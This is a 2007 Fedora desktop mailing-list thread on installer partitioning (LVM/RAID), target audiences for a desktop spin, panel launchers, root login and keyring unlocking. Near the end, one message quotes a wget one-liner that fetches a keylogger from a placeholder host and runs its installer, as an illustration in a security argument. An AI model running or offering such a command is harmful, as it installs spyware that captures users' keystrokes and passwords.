dragoran wrote:

- no lvm/raid in livecd installer

thats the only point where I disagree I don't see a reason to do this. what do we gain by doing this?

Ask not what we gain but what we lose: confused users, and one less screen in the install since most people just click right through it.

seth vidal wrote:

On Wed, 2007-08-15 at 17:42 -0400, Christopher Aillon wrote:

...

dragoran wrote:

...

- no lvm/raid in livecd installer

thats the only point where I disagree I don't see a reason to do this. what do we gain by doing this?

Ask not what we gain but what we lose: confused users, and one less screen in the install since most people just click right through it.

And we lose all of us who install from livecd and WANT lvm.

Which to be fair is probably a small percentage of users. But isn't one of the selling points of lvm that people can tweak their lvm partitions after the fact? Everyone that knows what it is and _WANTS_ to tweak it ought to be able to do this.

On Thu, 2007-08-16 at 10:17 +0200, Nils Philippsen wrote:

As a side point, everybody should be using LVM. Directly operating on partitions is so 1980.

Speaking as a developer, you can boot a kernel from your home directory if /home is on LVM. Hence, LVM is definitely something to avoid for more developer oriented flavors on Fedora.

David

On Thu, 2007-08-16 at 17:36 -0400, David Zeuthen wrote:

On Thu, 2007-08-16 at 17:27 -0400, David Zeuthen wrote:

...

On Thu, 2007-08-16 at 10:17 +0200, Nils Philippsen wrote:

...

As a side point, everybody should be using LVM. Directly operating on partitions is so 1980.

Speaking as a developer, you can boot a kernel from your home directory

                          ^^^^

I meant can't of course. Sorry.

...

if /home is on LVM. Hence, LVM is definitely something to avoid for more developer oriented flavors on Fedora.

Speaking as a developer as well, I don't think the use case you describe is as widespread as you think it is.

Compare your "David" persona to my "Manolo" one who just wants to build another kernel with some unnamed patch that won't ever make it upstream (or into Fedora) and needs another half gig of space quickly but his /home is filled up to only 150 megs being free due to all the movies he recorded with his DVB card. Now with LVM, "Manolo" can do:

lv_extend -L +1G /dev/VolGroup00/LogVol01 resize2fs -p /dev/VolGroup00/LogVol01

After about a minute -- if you count in time to read man pages, perhaps less if there's a tool that let's him tdo that in a GUI -- he's ready for another round of kernel building. Don't you think that having to "sudo cp vmlinuz /boot" isn't too much a hassle for "David" compared to the benefits for "Manolo"?

It's Friday after all, so don't automatically assume that you're the target audience ;-).

Nils

On Fri, 17 Aug 2007 11:21:54 -0400 David Zeuthen davidz@redhat.com wrote:

Apparently members of your target audience knows how to use LVM (and hopefully they know that it's lvextend, not lv_extend :-).... and is able to make a distinction between a PV, LV and VG's? Or.. wait.. maybe they follow one of the "HOWTO's" out there and maybe get it right the 2nd or 3rd time they try. I certainly have blown up my PV's and LV's playing around with LVM.. Right.. Also.. it's supposed to be "fun" and "we learn about Linux" dealing with UNIX command line tools specifically designed to be unforgiving [1]. Right... _that_ target audience.

I don't think so.

To be fair, system-config-lvm has come a long way recently and is quite usable I'm told, and not at all unfriendly.

On Fri, 2007-08-17 at 11:33 -0400, Jeremy Katz wrote:

On Fri, 2007-08-17 at 11:21 -0400, David Zeuthen wrote:

...

So while that target audience may be OK for mainline Fedora where administrators are installing servers and workstations in enterprises / whatever and know what they're doing, I don't think it's fine for what we're talking about here: A derivative of Fedora intended for human beings using ths OS on laptops / home desktop systems. Please don't throw techno babble at them.

Human beings don't compile kernels either, so ... :-)

The real point I was tried to make was about the target audience: if we want to make a difference with this new derived distribution we need to have a target audience and optimize the experience for this audience instead of the rather direction-less "catch-all-audiences" thing we've been doing with Fedora so far.

I've already given my $0.02 about what that target audience could be: people who are not computer experts. That's just my suggestion, I expect others have other ideas and we should discuss on this list and converge on something and write it into the charter for the SIG. It's important.

So we need to define the target audience. And it's not necessarily bad, people shouldn't be all "Oh, screw you desktop guys, I'm not part of the target audience, I'll never use this thing"; I mean, even hard core people like yourself, davej or notting still have laptops where this is only a single OS installed and you'll probably never need any LVM or RAID features.

So at the same time we should be inclusive to other audiences, e.g. just because we're optimizing parts of the OS for people like my someones mom, it does not mean that it's not suitable for certain applications by e.g. hard core developers.

David

On Fri, Aug 17, 2007 at 11:56:56AM -0400, David Zeuthen wrote:

want to make a difference with this new derived distribution we need to have a target audience and optimize the experience for this audience instead of the rather direction-less "catch-all-audiences" thing we've been doing with Fedora so far.

The problem I see with defining _a_ target audience is that it by nature, precludes other audiences. We have to have at least some part of the 'catch all audiences' thing going on, or we lose a segment of our userbase to other distros which cater to their needs.

So we need to define the target audience. And it's not necessarily bad, people shouldn't be all "Oh, screw you desktop guys, I'm not part of the target audience, I'll never use this thing"; I mean, even hard core people like yourself, davej or notting still have laptops where this is only a single OS installed and you'll probably never need any LVM or RAID features.

You've not seen my two disk RAID0 laptop ? :-) [yes, I'm serious]

FWIW, it always bothered me that we use LVM everywhere. In hindsight I think it was a mistake. I can see why it would make ongoing maintainence of the installer simpler, but for a lot of cases, it's utterly needless. As wonderful as I'm sure resizing volumes is, I've *never* used it. Ever. Yet near every install I do uses lvm, for no damn reason at all (other than I'm too lazy to click 'custom partitioning')

Dave

On Fri, Aug 17, 2007 at 02:43:43PM -0400, Matthias Clasen wrote:

On Fri, 2007-08-17 at 14:27 -0400, Dave Jones wrote:

...

On Fri, Aug 17, 2007 at 11:56:56AM -0400, David Zeuthen wrote:

...

want to make a difference with this new derived distribution we need to have a target audience and optimize the experience for this audience instead of the rather direction-less "catch-all-audiences" thing we've been doing with Fedora so far.

The problem I see with defining _a_ target audience is that it by nature, precludes other audiences. We have to have at least some part of the 'catch all audiences' thing going on, or we lose a segment of our userbase to other distros which cater to their needs.

I don't think we should be too worried about losing a segment of our user base". That is the beauty of the spin concept. You can have kernel-hackers spin that is optimized for a different audience. And the really big audiences are not part of our userbase at all yet, anyway.

Don't be so sure. Indirectly, there's at least one target audience where Fedora is wiping the floor with the competition :-) http://kernelslacker.livejournal.com/89041.html

I'm not sure what level of testing we'd need to do for that spin though.

Dave

On Fri, Aug 17, 2007 at 03:13:57PM -0400, Soeren Sandmann Pedersen wrote:

Dave Jones davej@redhat.com writes:

...

The problem I see with defining _a_ target audience is that it by nature, precludes other audiences. We have to have at least some part of the 'catch all audiences' thing going on, or we lose a segment of our userbase to other distros which cater to their needs.

Fedora already excludes people, for example Gentoo users. They want to compile everything with CFLAGS tailored to their system, and Fedora is not helpful to them at all. ... If you agree that excluding Gentoo users is the right decision, then the question is not "do we exclude people?", but "who do we exclude?"

There's a difference between excluding people who are already onboard with Fedora, and those who aren't. Gentoo users would fall into the latter.

"Hey this used to work, now it doesn't" is what leads people to abandon distros and go looking for one that does what they came to expect.

Dave

Dave Jones wrote:

There's a difference between excluding people who are already onboard with Fedora, and those who aren't. Gentoo users would fall into the latter.

"Hey this used to work, now it doesn't" is what leads people to abandon distros and go looking for one that does what they came to expect.

But it still will work the way they want. This is a targeted spin which has not existed before. If people want to use it, they can. If not, the main Fedora spin will continue to meet their expectations.

On Fri, 2007-08-17 at 15:13 -0400, Soeren Sandmann Pedersen wrote:

If Fedora is the "fast-moving, innovative desktop" which is always first with new, exciting technology, then you exclude people who don't want to be guinea pigs. That is a fine decision, but people then need to realize that the userbase is then *inherently* smaller than Ubuntu's and "becoming more popular than Ubuntu" will not be possible.

FWIW, I'm not sure Ubuntu is less buggy than Fedora and if you examine many earlier threads on that topic about this I'm sure you'll find sufficient evidence.

On the other hand "Not computer expert" is not a target since it fits 99% of the world and basically only serves to exclude current users.

Seems to work fine for Ubuntu. And all you're achieving, Søren, with that comment is just affirming another myth: that having a target audience means that you exclude other users. We _don't_ have to alienate or exclude computer experts. It's not either or. It's not black and white. If you think about it, it's mainly about messaging, and that's one thing we've surely need to fix.

David

On 8/17/07, Jeff Spaleta jspaleta@gmail.com wrote:

On 8/17/07, David Zeuthen davidz@redhat.com wrote:

...

If you think about it, it's mainly about messaging, and that's one thing we've surely need to fix.

Yes, its all about messaging. Spins are an opportunity to broaden our appeal by narrowing the message(s). And let me add, that since this is a new spin being discussed, its perfectly acceptable to throw out a baby or two with the bathwater. We got enough babies to go around. We've got a large rolling faceless sea of babies. It'd be nice to focus on a few of them at a time and actually see how cute their faces are.

Pick a focus, make choices that support that focus. if some of those choices end up being bad ones and the spin has to be editted in a later revision, that's OKAY. As long as we are upfront about this spin as a narrowing of focus and provide a summary of install time functionality that is missing in this spin as compared to the standard install, it's going to be OKAY.

The thought to create my own non-official Fedora spin came to mind last week, during the compositing window manager discussion. Where does the legal stand with the Fedora branding and using it for respins? I know that unapproved Fedora sites have been forced to remove the logo. Does this follow suite with unofficial respins? Would this re-spin be official, and who decides?

Jon

On 8/17/07, seth vidal skvidal@fedoraproject.org wrote:

On Fri, 2007-08-17 at 17:14 -0400, Jon Nettleton wrote:

...

The thought to create my own non-official Fedora spin came to mind last week, during the compositing window manager discussion. Where does the legal stand with the Fedora branding and using it for respins? I know that unapproved Fedora sites have been forced to remove the logo. Does this follow suite with unofficial respins? Would this re-spin be official, and who decides?

the policy is pretty good:

use only packages from fedora repositories and you can use the fedora logos.

add stuff from outside and you have to get rid of the fedora logos and trademarks.

very reasonable. Thanks.

On 8/17/07, David Zeuthen davidz@redhat.com wrote:

[..]

We _don't_ have to alienate

or exclude computer experts. It's not either or. It's not black and white. If you think about it, it's mainly about messaging, and that's one thing we've surely need to fix.

but by dropping features users who wants to use them are excluded (ex: raid) changing defaults etc. won't hurt a "expert" because he can just change it... but if a feature simply does not exists anymore he will use something else

On Fri, 2007-08-17 at 11:56 -0400, David Zeuthen wrote:

The real point I was tried to make was about the target audience: if we want to make a difference with this new derived distribution we need to have a target audience and optimize the experience for this audience instead of the rather direction-less "catch-all-audiences" thing we've been doing with Fedora so far.

Sorry, but so far I haven't seen how dropping LVM would optimize the experience for this audience, and using your kernel compiling requirements as an argument in favour of non-technical users muddied the waters a bit. You know, it was the "no lvm/raid in livecd installer" thing in Matthias' original posting that set me off in the beginning. Granted, he might have meant "no techno-babble when doing the disk layout" instead of "always install directly into partitions" ;-).

I'm fine with having a simplified method for these people to get an installation from the live media. But I don't see how not having LVM under the hood helps them. After all, at one day their disks will be full. Then they'll want to add another disk (or let it be added by someone who doesn't risk life and limb when using a screwdriver) and use that space. With LVM we can just provide the tools where they just have to say "use (this amount from) that disk for Fedora", the tools do the pvcreate, vgextend, lvextend, resize*fs dance under the hood and presto, the user is happy.

Nils

On 8/17/07, Dave Jones davej@redhat.com wrote:

On Fri, Aug 17, 2007 at 11:33:09AM -0400, Jeremy Katz wrote:

...

On Fri, 2007-08-17 at 11:21 -0400, David Zeuthen wrote:

...

So while that target audience may be OK for mainline Fedora where administrators are installing servers and workstations in enterprises

/

...

...

whatever and know what they're doing, I don't think it's fine for what we're talking about here: A derivative of Fedora intended for human beings using ths OS on laptops / home desktop systems. Please don't throw techno babble at them.

Human beings don't compile kernels either, so ... :-)

Feeling. So. Unloved.

I think they are trying to say you are some kind of Super Human

On Thu, 2007-08-16 at 17:50 -0400, Dave Jones wrote:

On Thu, Aug 16, 2007 at 05:27:17PM -0400, David Zeuthen wrote:

...

On Thu, 2007-08-16 at 10:17 +0200, Nils Philippsen wrote:

...

As a side point, everybody should be using LVM. Directly operating on partitions is so 1980.

Speaking as a developer, you can't boot a kernel from your home directory if /home is on LVM.

wtf, why would you do that? Given you need to install modules outside of your homedir in /lib anyway, is putting the kernel into /boot so hard?

I just build everything in (except the bits I'm hacking on); makes it much faster to compile too. To each their own I guess.

David

On Thu, Aug 16, 2007 at 05:54:18PM -0400, David Zeuthen wrote:

On Thu, 2007-08-16 at 17:50 -0400, David Zeuthen wrote:

...

On Thu, 2007-08-16 at 17:50 -0400, Dave Jones wrote:

...

On Thu, Aug 16, 2007 at 05:27:17PM -0400, David Zeuthen wrote:

...

On Thu, 2007-08-16 at 10:17 +0200, Nils Philippsen wrote:

...

As a side point, everybody should be using LVM. Directly operating on partitions is so 1980.

Speaking as a developer, you can't boot a kernel from your home directory if /home is on LVM.

wtf, why would you do that? Given you need to install modules outside of your homedir in /lib anyway, is putting the kernel into /boot so hard?

I just build everything in (except the bits I'm hacking on); makes it much faster to compile too. To each their own I guess.

Ugh, replying to myself again. s/everything/everything I need for the particular box I'm using/.

I don't get it. What does destination of built binaries have to do with compile time ?

Dave

On Wed, 2007-08-15 at 17:42 -0400, Christopher Aillon wrote:

dragoran wrote:

...

- no lvm/raid in livecd installer

thats the only point where I disagree I don't see a reason to do this. what do we gain by doing this?

Ask not what we gain but what we lose: confused users, and one less screen in the install since most people just click right through it.

... except that unless they explicitly click on something, there isn't any screen for them to click on and be confused by. And hell, before they get there, they have to have clicked to do a custom partition layout.

Jeremy

On Wed, 2007-08-15 at 17:52 -0400, Jeremy Katz wrote:

On Wed, 2007-08-15 at 17:42 -0400, Christopher Aillon wrote:

...

dragoran wrote:

...

- no lvm/raid in livecd installer

thats the only point where I disagree I don't see a reason to do this. what do we gain by doing this?

Ask not what we gain but what we lose: confused users, and one less screen in the install since most people just click right through it.

... except that unless they explicitly click on something, there isn't any screen for them to click on and be confused by. And hell, before they get there, they have to have clicked to do a custom partition layout.

... and the user goes "What's a custom partition layout?" and clicks the button because he finds it "cool" and "interesting". Really, partitioning needs to be as simple as this slider based thing

+-----------------------------------------------+ | HOW MUCH FEDORA CAN YOU HANDLE? | | | | Disk: [Internal FUJITSU MHV2120B SATA Disk|V] | <-- hide this | | combobox if | ^ | there is only | + Fedora | Other OS's + | one disk | V | | | | [ ] Use entire disk for Fedora | | | | [Cancel] [Next] | +-----------------------------------------------+

No questions about boot loaders (just always add all the other OS'es to grub.conf). No mention of RAID or LVM (this doesn't mean we can't use LVM for what we install to (though I'm always annoyed by this as a developer); I just don't want to see the question asked in the UI).

What I like really to see is anaconda having the ability to do headless installs and we can simply write a nice and simple GTK+. The kickstart file would include directives such as

"use disk /dev/sda; resize all other OS's so what we install takes up 40% of the disk".

We'd bother the user with other types of questions (like the ones in firstboot + more including face/background choice) while we actually do the install.

Jeremy, any chance we can change anaconda such that we can slap a simpler UI, decoupled from the actual mechanism, on top of it? Thanks.

David

On Thu, 2007-08-16 at 23:41 +0200, dragoran wrote:

but whats wrong with raid? and as jeremy already said dmraid? "this is a desktop install raid is not supported anymore" does not make sense to me . what about only adding it when there is more than 1 disk or when a dmraid device is found?

What makes you think we wouldn't handle dmraid with such a setup? The combined disk would just appear in the dropdown menu.

David

On Thu, 2007-08-16 at 17:07 -0400, David Zeuthen wrote:

Jeremy, any chance we can change anaconda such that we can slap a simpler UI, decoupled from the actual mechanism, on top of it? Thanks.

Like I told you six months ago -- write a kickstart generator, pass that, voila, you have control of your own destiny. There's even pykickstart to make it so that you don't have to worry about what the actual kickstart config syntax is. That's going to be the simplest route.

The other route would be creating another interface in addition to the text, line oriented (think crappy s390 consoles) and current gui interface and plugging it in. Not hard either, but a kickstart config is going to be easier and should be sufficient

Jeremy

Christopher Aillon wrote:

dragoran wrote:

...

- no lvm/raid in livecd installer

thats the only point where I disagree I don't see a reason to do this. what do we gain by doing this?

Ask not what we gain but what we lose: confused users, and one less screen in the install since most people just click right through it.

user who don't care just click next and be done with it.. others select "advanced options" and tweak ther partitioning (even many desktop users do this) and I doubt that this confuses users.

Jon Nettleton wrote:

On 8/15/07, *Matthias Clasen* <mclasen@redhat.com - unlock keyring on login

This should be included in gnome 2.20 with the new gnome-keyring. It includes a pam module to do this. If it doesn't then I can finish hacking pam_keyring to do what we want.

I can log into Fedora on my Thinkpad by just swiping my finger on the fingerprint reader. Ideally that would unlock my keyring too, which is impossible with the combination of pam_thinkfinger and pam_keyring.

-- Dan

On 8/16/07, Dan Winship dwinship@redhat.com wrote:

Jon Nettleton wrote:

...

On 8/15/07, *Matthias Clasen* <mclasen@redhat.com - unlock keyring on login

This should be included in gnome 2.20 with the new gnome-keyring. It includes a pam module to do this. If it doesn't then I can finish hacking pam_keyring to do what we want.

I can log into Fedora on my Thinkpad by just swiping my finger on the fingerprint reader. Ideally that would unlock my keyring too, which is impossible with the combination of pam_thinkfinger and pam_keyring.

We addressed this back with pam_bioapi, and I think it only partially got implemented. The idea was to embed the passphrase into the bir of the user. Then have the pam module populate AUTH_TOK with the passphrase and pass it along to subsequent pam_modules in the stack.

I don't want my finger cut off to get to my data so I steer clear.

Jon

On Thu, 2007-08-16 at 00:31 -0400, Jon Nettleton wrote:

On 8/15/07, Matthias Clasen mclasen@redhat.com wrote: As discussed in the meeting, here is my personal "laundry list" of low-hanging fruit. Note that some of these are being worked on for F8 anyway.

    - enable nss-mdns by default
    - clean up emblems in nautilus 
    - remove obsolete applets
    - reconsider default panel config (launchers)
    - unlock keyring on login

This should be included in gnome 2.20 with the new gnome-keyring. It includes a pam module to do this. If it doesn't then I can finish hacking pam_keyring to do what we want.

    - use xdg-user-dirs consistently 
    - disable root login

I don't know why. I think the goal is ot make security seamless enough that people don't feel the "need" to log in as root.

    - get rid of xfs 
    - get rid of pam_console

In the long run YES! This is probably not happening for Fedora 8. Should we instead use the UGROUPS property to allow users to have administrative gui privileges in the short term. Could win back some popularity among reviewers. Yes I know how awful that sounds, but it is a fact of life.

    - NM by default

Would love to see this. Don't know if we can make it

We're trying :)

    - PA by default
    - get rid of a bunch of services that we don't need on a
      live cd, like nfs/rpc/autofs
    - have a close look at the system-config tools we install
    - cleaned up artwork packaging

    And here are some larger things: 

    - rethink installation and updates (see hughsie's
      recent work)
    - desktop background stuff:
       slideshows, channels, per-workspace
    - no lvm/raid in livecd installer
    - good xrandr 1.2 support
    - no root user
    - replace init system

I don't know if the init system needs to be replaced or just rethought. I have been hacking on this on and off for the past 3-4 days and my conclusion is that the perception of the boot process is more important than what actually happens. The first 17 seconds of boot is tied to hardware and display initialization. From there everything leads up to what "needs" to be running when a user logs in. I am working on a proper write up

    - new graphical boot

Since we have to start X eventually I don't see the big problem with rhgb. I am trying to finish up my work getting rhgb to start in the gdm init scripts. This allows rhgb and gdm to share an initial xserver and give a smoother boot process.

    - composited desktop by default

Would love to see this. For my own personal use I have started hacking more gnomish features into xfwm4. Basically a new config gui and gconf functionality for storing settings. I know most people could care less but I think it will give a good 2d composited desktop option based on some solid window manager work by the XFCE guys.

    - rethink user account handling:
       kiosk mode (?), guest accounts

I think our problem has become looking for a magic bullet solution for everything, and neglecting good ideas waiting on that idea. NetworkManager is the future of networking for linux but we have been neglecting other solutions for years waiting on it. Composited desktops, init-system, and graphical booting are going to be the new ones. Perhaps it is time to start planning in smaller steps. It is great to have the grand vision but we tend to fall behind waiting for that to happen.

Jon

-- Fedora-desktop-list mailing list Fedora-desktop-list@redhat.com https://www.redhat.com/mailman/listinfo/fedora-desktop-list

On Thu, 2007-08-16 at 09:06 +0300, Nicu Buculei wrote:

Matthias Clasen wrote:

...

• reconsider default panel config (launchers)

This is something I think is badly needed, for quite some time I wanted to talk about this but was not bold enough to bring the topic out so far. I think is about the time for the OpenOffice.org icons to go away from the default panel, they were useful some years ago to inform people Fedora has a capable Office Suite, but by now everybody know and expect this and an office suite is boring. I think those launchers would be better replaced by something people like: multimedia, at least a launcher for Rhythmbox and maybe something people really use (usage stats gathered from Mugshot, but this would suggest a launcher for the terminal as very desired).

+1 for doing this; in the same breath we should depart from having the generic web browser launcher in the panel and instead just add the Firefox launcher or whatever default browser we ship [1]. Definitely something we can and should do in this release.

David

[1] : IIRC the reason for the generic launcher is that the program it launches actually picks the browser from your choice made in the "Preferred Applications" caplet. Ie. the thinking, or so I was explained, is that if you change your browser in "Preferred Applications", the launcher will respect that choice.

However, I think the price of having that eyesore is too high; users who know how to go into "Preferred Applications" are most likely more than capable of removing the Firefox launcher from their panel.

On 8/17/07, Zack Cerza zcerza@redhat.com wrote:

It'd be even better if that launcher would simply display the name and icon of your preferred browser. :)

Zack

--

it would have to be an applet then?

On 8/17/07, Zack Cerza zcerza@redhat.com wrote:

Bill Peck wrote:

...

On 8/17/07, Zack Cerza zcerza@redhat.com wrote:

...

It'd be even better if that launcher would simply display the name and icon of your preferred browser. :)

Zack

--

it would have to be an applet then?

Well, sure. I don't know if that's feasible, but it sure doesn't *seem* hard :)

I was thinking about this the other day. I think the gnome-panel needs a launcher applet that is more configurable. One of the features should be "sticky launchers", another feature would be to auto-add either most used, or recently used launchers. Suse and Ubuntu seem set on adding this functionality in an enormous SLAB menu. I think a small gnome applet makes a lot more sense.

Right now I just don't have the time to work on it, unfortunately.

Jon

On Fri, 2007-08-17 at 13:36 -0400, Jon Nettleton wrote:

Suse and Ubuntu seem set on adding this functionality in an enormous SLAB menu.

Yeah, we are going in a similar direction with bigboard.

I think a small gnome applet makes a lot more sense.

Yeah, doing a "lauch preferred browser/mail client/terminal" applet should take ~20 lines of non-boilerplate code...

Matthias Clasen wrote:

• make the panel optionally use file monitoring for desktop files backing launchers

Would this automatically remove the panel icons if the apps were uninstalled?

• add some code that maintains preferred-web-browser.desktop and preferred-mail-reader.desktop and keeps them in sync with the corresponding gconf keys.

Does it automatically change the icons?

Rahul

Matthias Clasen wrote:

On Sun, 2007-08-26 at 10:29 +0530, Rahul Sundaram wrote:

...

Matthias Clasen wrote:

...

• make the panel optionally use file monitoring for desktop files backing launchers

Would this automatically remove the panel icons if the apps were uninstalled?

As currently written, no. But the preferred application setting is not changed either if the preferred app is uninstalled.

Right but in most instances you would expect the panel icons to go away if the related application is uninstalled. If we can monitor files, we should do that.

Rahul

Bastien Nocera wrote:

On Sun, 2007-08-26 at 10:59 +0530, Rahul Sundaram wrote:

...

Matthias Clasen wrote:

...

On Sun, 2007-08-26 at 10:29 +0530, Rahul Sundaram wrote:

...

Matthias Clasen wrote:

...

• make the panel optionally use file monitoring for desktop files backing launchers

Would this automatically remove the panel icons if the apps were uninstalled?

As currently written, no. But the preferred application setting is not changed either if the preferred app is uninstalled.

Right but in most instances you would expect the panel icons to go away if the related application is uninstalled. If we can monitor files, we should do that.

Actually, right now, you'd get a broken launcher for custom launchers (ie. the ones added from the menu).

I know that. I consider that a bug.

Rahul

Gian Paolo Mureddu wrote:

Matthias Clasen escribió:

...

• no root user

Oh please no! (fine fort the LiveCD, but absolutely NOT for the installed version!) I recently HAD to enable the root account in a *buntu system as trying to do some batch stuff with BASH with for-in loops and stuff is FUTILE without a *proper* root account (yes, I tend to use quite a bit for-in loops for repetitive commands in a single command line). Seamless security is fine with me, but a *proper* account will still be needed for those where should anything go wrong and you require to do emergency maintenance.

# sudo su -

Rahul

Gian Paolo Mureddu wrote:

Why do we have to 'follow suit'? GDM root login disabled is perfectly fine, adding sudo by default doesn't seem like very good idea for me, especially after my experiences with *buntu systems where the whole */sbin paths are visible to the regular users, and though many of those commands need proper authentication to do their job, there are quite a few which can run with regular UIDs. I've always thought that the presence of a proper 'root' account in Fedora and Red Hat was way better than having one "disabled".

+1

On 8/16/07, Gian Paolo Mureddu gmureddu@prodigy.net.mx wrote:

fine, adding sudo by default doesn't seem like very good idea for me, especially after my experiences with *buntu systems where the whole */sbin paths are visible to the regular users,

But what is a "regular" user? If you have the Vista/OSX desktop spin, "regular users" won't ever open a terminal (or really, any application other than a web browser), and so the default path is completely irrelevant.

But as a developer, when I open a terminal I want ifconfig, damn it.

and though many of those

commands need proper authentication to do their job, there are quite a few which can run with regular UIDs. I've always thought that the presence of a proper 'root' account in Fedora and Red Hat was way better than having one "disabled".

It's unclear to me how the root account being enabled or not relates to the path.

Anyways, I couldn't care less about whether or not you can log in as "root". What is important is to kill password prompts, *especially* prompts for two passwords. If we killed the prompt for the updater we'd be 90% there since that's the only thing that regularly prompts (or used to) in day to day use.

This forum thread fixed it for me: http://forums.fedoraforum.org/archive/index.php/t-139634.html

Let's just do it.

hi,

I would prefer to just disable the root login in gdm.

It makes sense to do outside of the desktop livecd spin, too. Root login has never really worked right. For instance, you can't lock your screen.

Anyway, building a gdm package into koji now to disable it.

--Ray

On 8/18/07, Rahul Sundaram sundaram@fedoraproject.org wrote:

Ray Strode wrote:

...

hi,

...

I would prefer to just disable the root login in gdm.

It makes sense to do outside of the desktop livecd spin, too. Root login has never really worked right. For instance, you can't lock your screen.

Anyway, building a gdm package into koji now to disable it.

Can KDE folks do this for KDM too?

Rahul

I think KDM has been like this for at least the last two releases. I'm subject to correction.

On 8/19/07, Rex Dieter rdieter@math.unl.edu wrote:

Arthur Pemberton wrote:

...

On 8/18/07, Rahul Sundaram sundaram@fedoraproject.org wrote:

...

Ray Strode wrote:

...

hi,

...

I would prefer to just disable the root login in gdm.

It makes sense to do outside of the desktop livecd spin, too. Root login has never really worked right. For instance, you can't lock your screen.

Anyway, building a gdm package into koji now to disable it.

Can KDE folks do this for KDM too?

...

I think KDM has been like this for at least the last two releases. I'm subject to correction.

Releases previous to F7 did that (disabled root login), F7 does not.

-- Rex

Interesting. I think it started about FC3? Any reason this was reversed in F7?

On Sat, 2007-08-18 at 12:14 -0400, Ray Strode wrote:

...

I would prefer to just disable the root login in gdm.

It makes sense to do outside of the desktop livecd spin, too. Root login has never really worked right. For instance, you can't lock your screen.

Anyway, building a gdm package into koji now to disable it.

So if we're going to do this, we also should think a bit about the path how users get created to ensure that people don't end up in a situation where they've installed and only have a root account but end up at gdm.

1) No user got created in firstboot. We tell you that you should and we say "are you sure you want to" if you don't, but it's still quite easy not to 2) User gets text-mode firstboot (which doesn't ask you to create a user). This should only happen if a) you boot into runlevel 3 because of your install b) text mode installs might still imply text mode firstboot c) any other cases? 3) firstboot crashed. Simple answer, firstboot shouldn't crash :-) But maybe not that simple. 4) You set up network logins, but your network isn't working/you're using NetworkManager. Also maybe a "don't do this" type of thing.

The first two are the ones that worry me the most. And I guess the third, too. We could be more certain that a user went through and was presented the "create a user" bit if we moved the user creation (back) into anaconda.

That doesn't fix the "I chose not to create a user" case, though. So the bigger thing is how do we make it mandatory while still having things moderately reasonable for the users who choose to set up some form of network login[1]. Maybe we just punt and say if you're doing network login only, you're probably using kickstart? And I guess there's nothing which says you can't delete the user after you set up your network login stuff.

Jeremy

[1] In the past, the concern was if you're doing network logins, you don't want _any_ local accounts to avoid the "local user overrides the network user" problem.

On Mon, 2007-08-20 at 12:13 -0400, Jon Nettleton wrote:

What if instead of disabling the root account in gdm, we change root's default session. Rather than a feature complete gnome-session, we actually run a fullscreen interface much like firstboot that gives access to common administrator functionality, Setup Network, Add Users, Display config, etc etc. Maybe give access to a terminal as well.

Hopefully, this would discourage normal users from just using root, but will give a fall back gui to do super user tasks.

I think this would be really cool as a way of providing some "save myself" types of things.

Jeremy

Hi,

On 8/20/07, Jeremy Katz katzj@redhat.com wrote:

On Sat, 2007-08-18 at 12:14 -0400, Ray Strode wrote:

...

...

I would prefer to just disable the root login in gdm.

It makes sense to do outside of the desktop livecd spin, too. Root login has never really worked right. For instance, you can't lock your screen.

Anyway, building a gdm package into koji now to disable it.

So if we're going to do this, we also should think a bit about the path how users get created to ensure that people don't end up in a situation where they've installed and only have a root account but end up at gdm. ...

Even bigger picture, you may be able to identify at least different use cases: 1) some things may be done by default 2) nothing may be done by default. One way of thinking about the first case is that it is like when you visit amazon.com. You don't have to login to amazon to look at products. You are basically just a guest and have the default experience. Once you identify yourself you get a customized experience. And it remembers you when you come back or until you click "If you are not Jon then click here." The second case is basically the traditional enterprise deny first scheme that we use now.

It may be that outside of institutions the first case is more appropriate.

Jon

On 8/19/07, Gian Paolo Mureddu gmureddu@prodigy.net.mx wrote:

Then change your .bashrc to include /sbin in the PATH, don't do it "universally" for all users and much less *enforce* insecure practices.

This part isn't an important debate so I'm skipping to the next part.

Are we going completely out of our minds here?? Since when alerting the user that s/he's about to do something that will affect the whole system is a bad idea? I do agree that having two password pop ups might not be the best or most elegant solution, but neither is "opening up" the system and putting it at risk. Getting rid of that extra layer *is* putting the system at risk.

Ok, here is where we need to frame the discussion. The scenario I am thinking of is a Fedora spin that is in the "XP/OS X" category. Adding a password prompt of any kind, no less for some other "root" password, *actively harms security*.

Why? Because the most important thing you can do for security - THE most important - for a home user desktop is to get them updates reliably and as painlessly as possible. In particular for the web browser. It's completely ironic to me that people are wanting to add password prompts for installing software from GPG-signed Fedora repositories when it's quite possibly the LEAST dangerous thing one could do on a computer.

Why don't we have a password prompt before you can start the web browser?

On 8/20/07, Jesse Keating jkeating@redhat.com wrote:

On Mon, 20 Aug 2007 12:02:56 -0400 "Colin Walters" walters@redhat.com wrote:

...

Ok, here is where we need to frame the discussion. The scenario I am thinking of is a Fedora spin that is in the "XP/OS X" category.

Not really helpful here, but OS X does prompt you for your password when installing updates. Presumably so that they can do some sudo action behind the scenes to apply said updates. I'm comfortable with this, especially if we go down the road of adding the first user to sudo at install time.

That is interesting; I honestly haven't used OS X at all. Does OS X also have a password on your account by default, or did you have to explicitly set one?

Does gnome-keyring have a sensible timeout? If I left my workstation

for a period of time and forgot to enable the screensaver, can anybody access my keyring contents, or cause something to be authenticated via my keyring?

Unrelated but - in my opinion gnome-keyring adds very little in terms of security to this scenario.

wget http://my.favorite.keylogger.example.com/linux-x86.tgz && tar xzvf *.tgz && sh keylogger/install.sh

Hey,

Ugh, it would be nice if your mail client broke lines properly; it's at least a mess for me when using Evolution.

On Mon, 2007-08-20 at 13:26 -0400, Colin Walters wrote:

Unrelated but - in my opinion gnome-keyring adds very little in terms of security to this scenario.

wget http://my.favorite.keylogger.example.com/linux-x86.tgz && \ tar xzvf *.tgz && sh keylogger/install.sh

Two things

- It's a fair goal to ensure that users don't have to enter any passwords and I think gnome-keyring and other password stores (like the one in Firefox) helps with that. Especially if it's automatically unlocked when you log in.

It's also pretty damn convenient that I don't have to type in these passwords all the time. Plus I can rest assured that if my laptop is stolen, some of my passwords are encrypted (ask blizzard about getting his laptop stolen).

FWIW, I consider it a bug that the password store in e.g. Firefox isn't locked the same way we lock gnome-keyring; I know the option in Firefox is there but we just uncheck it by default so you get plaintext passwords.

(Of course another solution to the "unlock keyring" problem is just to use encrypted home directories)

- It's just a bug [1] that an unprivileged process like your keylogger can grab key presses while the gnome keyring password dialog is focused. With things like XACE, we can prevent that and only allow privileged applications like e.g. a screen reader / on screen keyboard to do this.

Of course you can now turn this into a discussion about trusted path.

David

[1] : or misfeature, whatever

